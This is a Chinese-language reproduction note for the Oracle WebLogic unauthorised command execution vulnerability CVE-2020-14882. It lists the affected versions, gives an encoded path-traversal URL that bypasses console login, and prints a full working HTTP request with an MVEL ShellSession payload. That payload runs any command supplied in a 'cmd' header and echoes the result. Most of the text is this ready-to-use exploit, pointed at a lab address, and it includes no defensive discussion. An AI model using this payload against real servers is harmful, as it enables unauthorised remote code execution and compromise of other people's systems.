weblogic 未授权命令执行漏洞（CVE-2020-14882）复现

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影响版本

Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

访问http://192.168.74.133:7001/console/css/%252e%252e%252fconsole.portal

可以未授权访问后台。

回显rce

GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
Host: 192.168.74.133:7001
cmd: whoami
Content-Length: 0